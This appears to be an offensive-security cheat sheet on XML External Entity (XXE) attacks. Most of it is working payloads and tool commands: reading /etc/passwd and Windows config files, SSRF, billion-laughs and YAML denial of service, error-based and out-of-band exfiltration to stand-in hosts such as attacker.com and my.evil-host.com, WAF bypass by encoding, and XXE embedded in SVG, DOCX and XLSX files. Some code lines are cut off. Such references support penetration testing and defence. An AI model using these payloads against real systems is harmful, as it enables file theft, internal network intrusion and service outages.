

XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

Internal Entity: If an entity is declared within a DTD it is called as internal entity.

Syntax: `<!ENTITY entity_name "entity_value">`

External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM .

Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`

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Tools

- [xxeftp](#) - A mini webserver with FTP support for XXE payloads

```
sudo ./xxeftp -uno 443
./xxeftp -w -wps 5555
```

- [230-OOB](#) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via <http://xxe.sh/>

```
$ python3 230.py 2121
```

- [XXEinjector](#) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods

```
# Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
# Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
# Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndorder
# Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt
# Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
# Enumerating unfiltered ports:
```

```

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
# Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
# Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/upload
# Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter
# Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
# Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

```

- [oxml_xxe](#) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)

```
ruby server.rb
```

- [docem](#) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc

```

./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt
./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_sp
./docem.py -s samples/xss/sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm pei
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt

```

- [otori](#) - Toolbox intended to allow useful exploitation of XXE vulnerabilities.

```
python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passw
```

Labs

- [PortSwigger Labs for XXE](#)
 - [Exploiting XXE using external entities to retrieve files](#)
 - [Exploiting XXE to perform SSRF attacks](#)
 - [Blind XXE with out-of-band interaction](#)
 - [Blind XXE with out-of-band interaction via XML parameter entities](#)
 - [Exploiting blind XXE to exfiltrate data using a malicious external DTD](#)
 - [Exploiting blind XXE to retrieve data via error messages](#)
 - [Exploiting XInclude to retrieve files](#)
 - [Exploiting XXE via image file upload](#)

- [Exploiting XXE to retrieve data by repurposing a local DTD](#)
- [GoSecure workshop - Advanced XXE Exploitation](#)

Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
</userInfo>
```

It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file `/etc/passwd`

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>
```

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ELEMENT data (#ANY)>
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

:warning: SYSTEM and PUBLIC are almost synonym.

```
<!ENTITY % xxe PUBLIC "Random Text" "URL">
<!ENTITY xxe PUBLIC "Any TEXT" "URL">
```

Classic XXE Base64 encoded

```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvci"
```

PHP Wrapper inside XXE

```
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource:
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"
]>
<foo>&xxe;</foo>
```

XInclude attacks

When you can't modify the DOCTYPE element use the XInclude to target

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Exploiting XXE to perform SSRF attacks

XXE can be combined with the [SSRF vulnerability](#) to target another service on the network.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```

Exploiting XXE to perform a deny of service

:warning: : These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

Yaml attack

```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
```

```
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

Parameters Laugh attack

A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.

```
<!DOCTYPE r [
  <!ENTITY % pe_1 "<!-->">
  <!ENTITY % pe_2 "&#37;pe_1;<!-->&#37;pe_1;">
  <!ENTITY % pe_3 "&#37;pe_2;<!-->&#37;pe_2;">
  <!ENTITY % pe_4 "&#37;pe_3;<!-->&#37;pe_3;">
  %pe_4;
]>
<r/>
```

Exploiting Error Based XXE

Error Based - Using Local DTD File

Short list of dtd files already stored on Linux systems; list them with `locate .dtd` :

```
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtd
```

The file `/usr/share/xml/fontconfig/fonts.dtd` has an injectable entity `%constant` at line 148: `<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>`

The final payload becomes:

```
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
  <!ENTITY % constant 'aaa">
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///p;
    &#x25;eval;
    &#x25;error;
```

```

        <!--ELEMENT aa (bb'>
        %local_dtd;
    ]>
    <message>Text</message>

```

Error Based - Using Remote DTD

Payload to trigger the XXE

```

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

```

Content of ext.dtd

```

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

```

Let's break down the payload:

1. `<!ENTITY % file SYSTEM "file:///etc/passwd">` This line defines an external entity named `file` that references the content of the file `/etc/passwd` (a Unix-like system file containing user account details).
2. `<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">`
This line defines an entity `eval` that holds another entity definition. This other entity (`error`) is meant to reference a nonexistent file and append the content of the `file` entity (the `/etc/passwd` content) to the end of the file path. The `%` is a URL-encoded ' % ' used to reference an entity inside an entity definition.
3. `%eval;` This line uses the `eval` entity, which causes the entity `error` to be defined.
4. `%error;` Finally, this line uses the `error` entity, which attempts to access a nonexistent file with a path that includes the content of `/etc/passwd`. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of `/etc/passwd` would be disclosed as part of the error message, revealing sensitive information.

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Basic Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

```
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/"
]>
<r></r>
```

Send the content of `/etc/passwd` to "www.malicious.com", you may receive only the first line.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```

XXE OOB Attack (Yunusov, 2013)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
```

File stored on http://publicServer.com/parameterEntity_oob.dtd

```
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```

XXE OOB with DTD and PHP filter

```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
```

File stored on <http://127.0.0.1/dtd.xml>

```
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
```

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

- Apache Karaf <= 4.2.1
- Apache Karaf <= 4.1.6

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" ;
    xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://ka
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
```

Send the XML file to the `deploy` folder.

Ref. [brianwrf/CVE-2018-11788](https://brianwrf.com/CVE-2018-11788)

XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcoll
<root>&test;</root>
```

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

```
<!DOCTYPE root [
  <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">

  %local_dtd;
]>
<root></root>
```

Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

```
<!DOCTYPE root [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

  <!ENTITY % ISOamsa '
    <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxy:
    &#x25;eval;
    &#x25;error;
    '>

  %local_dtd;
]>
<root></root>
```

Cisco WebEx

```
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-or
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

Citrix XenMobile Server

```
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/:
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

Other payloads using different DTDs

WAF Bypasses

Bypass via character encoding

XML parsers uses 4 methods to detect encoding:

- HTTP Content Type: Content-Type: text/xml; charset=utf-8
- Reading Byte Order Mark (BOM)
- Reading first symbols of document
 - UTF-8 (3C 3F 78 6D)
 - UTF-16BE (00 3C 00 3F)
 - UTF-16LE (3C 00 3F 00)
- XML declaration: <?xml version="1.0" encoding="UTF-8"?>

Encoding	BOM	Example	
UTF-8	EF BB BF	EF BB BF 3C 3F 78 6D 6C	...<?xml
UTF-16BE	FE FF	FE FF 00 3C 00 3F 00 78 00 6D 00 6C	...<?.x.m.l
UTF-16LE	FF FE	FF FE 3C 00 3F 00 78 00 6D 00 6C 00	..<?.x.m.l.

Example: We can convert the payload to UTF-16 using [iconv](#) to bypass some WAF:

```
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
```

XXE in Java

Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:

Java security features for XML parsing are inconsistent

No single configuration (rows) protects all XML parsers (columns) against all 10 attack payloads
Consult a cheat sheet or use a tool such as Semgrep to **securely** parse XML files in Java

	Validator	SchemaFactory	(SAX)TransformerFactory	SAXParserFactory	DocumentBuilderFactory	XMLReader	SAXBuilder	SAXParser	SAXReader	
Default configuration	2	5	6	4	4	4	4	4	4	By default, SAXReader parses 4 payloads insecurely
Feature Secure Processing	0	0	0	0	0	4	4	N/A	4	Feature Secure Processing is the central mechanism for XML security
Access External DTD	0	2	3	N/A	0	0	0	0	4	Use Access External DTD for most classes not protected by Feature Secure Processing
Disallow Doctype Decl	2	3	N/A	0	0	0	0	N/A	0	This is the only secure configuration for SAXReader
External General Entities	2	N/A	N/A	1	1	1	1	N/A	1	None of these security features offer sufficient protection on their own
External Parameter Entities	2	N/A	N/A	3	3	3	3	N/A	2	
Set Expand Entity References	N/A	N/A	N/A	N/A	4	N/A	1	N/A	N/A	Set Expand Entity References is not available for SAXReader
Access External Schema	2	3	N/A	N/A	4	4	4	4	4	
Access External Stylesheet	N/A	N/A	3	N/A	N/A	N/A	N/A	N/A	N/A	

- [DocumentBuilderFactory \(javax.xml.parsers.DocumentBuilderFactory\)](#)
- [SAXBuilder \(org.jdom2.input.SAXBuilder\)](#)
- [SAXParserFactory \(javax.xml.parsers.SAXParserFactory\)](#)
- [SAXParser \(javax.xml.parsers.SAXParser \)](#)
- [SAXReader \(org.dom4j.io.SAXReader\)](#)
- [TransformerFactory \(javax.xml.transform.TransformerFactory\) & SAXTransformerFactory \(javax.xml.transform.sax.SAXTransformerFactory\)](#)
- [SchemaFactory \(javax.xml.validation.SchemaFactory\)](#)
- [Validator \(javax.xml.validation.Validator\)](#)
- [XMLReader \(org.xml.sax.XMLReader\)](#)

Ref.

- [Sengrep - XML Security in Java](#)
- [Sengrep - XML External entity prevention for Java](#)

XXE in exotic files

XXE inside SVG

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" \
  <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
```

Classic

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="h
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

OOB via SVG rasterization

xxe.svg

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="
  <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
  <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;op
  <flowRoot font-size="15">
    <flowRegion>
      <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
    </flowRegion>
    <flowDiv>
      <flowPara>&exfil;</flowPara>
```

```

    </flowDiv>
  </flowRoot>
</svg>

```

xxe.xml

```

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">

```

XXE inside SOAP

```

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]]><xxx,
  </foo>
</soap:Body>

```

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

- `/_rels/.rels`
- `[Content_Types].xml`
- Default Main Document Part
 - `/word/document.xml`
 - `/ppt/presentation.xml`
 - `/xl/workbook.xml`

Then update the file `zip -u xxe.docx [Content_Types].xml`

Tool : https://github.com/BufferWill/oxml_xxe

DOCX/XLSX/PPTX
 ODT/ODG/ODP/ODS
 SVG
 XML
 PDF (experimental)
 JPG (experimental)
 GIF (experimental)

XXE inside XLSX file

Structure of the XLSX:

```
$ 7z l xxe.xlsx
```

```
[...]
```

Date	Time	Attr	Size	Compressed	Name
2021-10-17	15:19:00	.....	578	223	_rels/.rels
2021-10-17	15:19:00	.....	887	508	xl/workbook.xml
2021-10-17	15:19:00	.....	4451	643	xl/styles.xml
2021-10-17	15:19:00	.....	2042	899	xl/worksheets/sheet1.xml
2021-10-17	15:19:00	.....	549	210	xl/_rels/workbook.xml.rels
2021-10-17	15:19:00	.....	201	160	xl/sharedStrings.xml
2021-10-17	15:19:00	.....	731	352	docProps/core.xml
2021-10-17	15:19:00	.....	410	246	docProps/app.xml
2021-10-17	15:19:00	.....	1367	345	[Content_Types].xml
2021-10-17	15:19:00		11216	3586	9 files

Extract Excel file: `7z x -oXXE xxe.xlsx`

Rebuild Excel file:

```
$ cd XXE
```

```
$ 7z u ../xxe.xlsx *
```

Add your blind XXE payload inside `xl/workbook.xml`.

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdل [<!ELEMENT cdل ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">
<cdل>&rrr;</cdل>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r=
```

Alternatively, add your payload in `xl/sharedStrings.xml`:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdل [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" ui
```


Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.

```
xxe.dtd
```

```
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
```

Serve DTD and receive FTP payload using [xxeserv](#):

```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
```

XXE inside DTD file

Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.

```
<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in tl
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%paylo:
%param1;
%external;
```

Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents

From <https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79>

Disclose local file

```
<!DOCTYPE doc [
  <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
  <!ENTITY % SuperClass '>
```

```

    <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x:
    &#x25;eval;
    &#x25;error;
    <!ENTITY test "test"
  >
  %local_dtd;
]><xxx>cacat</xxx>

```

Disclose HTTP Response:

```

<!DOCTYPE doc [
  <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
  <!ENTITY % SuperClass '>
    <!ENTITY &#x25; file SYSTEM "https://erp.company.com">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#
    &#x25;eval;
    &#x25;error;
    <!ENTITY test "test"
  >
  %local_dtd;
]><xxx>cacat</xxx>

```

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